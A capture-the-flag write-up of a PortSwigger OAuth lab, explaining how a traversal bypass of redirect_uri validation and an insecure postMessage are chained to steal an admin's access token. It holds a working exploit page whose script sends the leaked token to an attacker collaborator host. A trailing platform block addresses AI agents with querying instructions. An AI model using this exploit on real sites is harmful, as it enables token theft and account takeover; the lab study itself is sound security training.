> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-oauth-labs/lab-5.md).

# lab-5

## Stealing OAuth Access Tokens via a Proxy Page

**Difficulty:** Expert

### Lab Description

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

**Objective:** Identify a secondary vulnerability in the client application and use it as a proxy to steal an access token for the admin user's account. Use the access token to obtain the admin's API key and submit it.

**Credentials:** `wiener:peter`

### Root Cause

The OAuth authorization server performed insufficient validation of the `redirect_uri` parameter. Although it restricted the redirect URI to the client application's domain, validation could be bypassed using directory traversal (`../`), allowing the redirect to reach any other page on the trusted domain.

The client application contained an insecure `postMessage()` implementation on the `/post/comment/comment-form` page. On load, the page sent `window.location.href` — which includes the OAuth access token in the URL fragment — to its parent window using `postMessage()` with a target origin of `"*"`. This allowed any parent window, including an attacker-controlled page, to receive the message and extract the token.

### Exploitation

**1. Analyse the OAuth flow**

Intercept the authorization request:

```
GET /auth?client_id=...&redirect_uri=...&response_type=token
```

Confirm the application uses the **Implicit Flow** (`response_type=token`).

**2. Bypass redirect\_uri validation**

Replace `/oauth-callback` with `/oauth-callback/../post/comment/comment-form` using directory traversal:

```
redirect_uri=https://client-app.net/oauth-callback/../post/comment/comment-form
```

The OAuth server accepts it because its validation is weak.

**3. Identify the postMessage vulnerability**

Inspect the `/post/comment/comment-form` page source. It immediately executes on load:

```javascript
parent.postMessage(
  {
    type: 'onload',
    data: window.location.href
  },
  '*'
)
```

The page sends its complete URL — including the OAuth access token in the URL fragment — to its parent window. Because the target origin is `"*"`, any parent window can receive this message.

**4. Chain both vulnerabilities**

```
OAuth Authorization Server
    │
Weak redirect_uri validation
    │
Directory Traversal
    ▼
/post/comment/comment-form
    │
Reads window.location.href
    │
parent.postMessage(..., "*")
    ▼
Attacker Parent Window
    │
JavaScript listener
    ▼
Attacker Server
```

**5. Build the exploit and leak the token**

Host the following on the exploit server and deliver it to the victim:

```html
<iframe src="https://oauth-SERVER-ID.oauth-server.net/auth?client_id=xxxxx
  &redirect_uri=https://LAB-ID.web-security-academy.net/oauth-callback/../post/comment/comment-form
  &response_type=token
  &nonce=607914210
  &scope=openid%20profile%20email">
</iframe>

<script>
  window.addEventListener("message", e => {
    fetch("https://YOUR-COLLABORATOR-LINK/?token=" + encodeURIComponent(e.data.data))
  })
</script>
```

Flow after the admin authenticates:

1. OAuth server redirects to `/post/comment/comment-form` with the token in the URL fragment.
2. The comment form page fires `postMessage` containing `window.location.href` (including `#access_token=...`) to its parent.
3. The exploit page's `message` event listener receives the data and forwards it to the attacker server.

> **Why `encodeURIComponent`?** Burp Collaborator and most servers don't accept `#` in URLs (it's treated as a fragment and stripped by the browser). URL-encoding the full value converts the `#` and everything after it into a safe query string parameter.

`e.data` is the full object `{ type: 'onload', data: window.location.href }`, so `e.data.data` contains just the URL.

**6. Use the stolen token**

Make a request to the API endpoint with the stolen token:

```
GET /me
Authorization: Bearer ADMIN_TOKEN
```

The OAuth resource server returns the admin's profile, including their API key. Submit it to complete the lab.

### Lesson Learned

**OAuth Provider:**

* Perform strict, exact matching of registered `redirect_uri` values.
* Normalise the URI before validation to prevent directory traversal bypasses.
* Never allow arbitrary paths or traversal sequences.

**Client Application:**

* Never use `"*"` as the `postMessage` target origin — always specify the expected origin explicitly.
* Validate `event.origin` when receiving `postMessage` messages.
* Never send sensitive data such as OAuth tokens through `postMessage`.

**Impact of this vulnerability class:**

* Theft of OAuth access tokens.
* Unauthorised access to OAuth-protected APIs.
* Disclosure of sensitive user data.
* Complete compromise of the victim's OAuth account within the scope of the issued token.
* Potential full account takeover depending on how the client application uses the access token.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-oauth-labs/lab-5.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
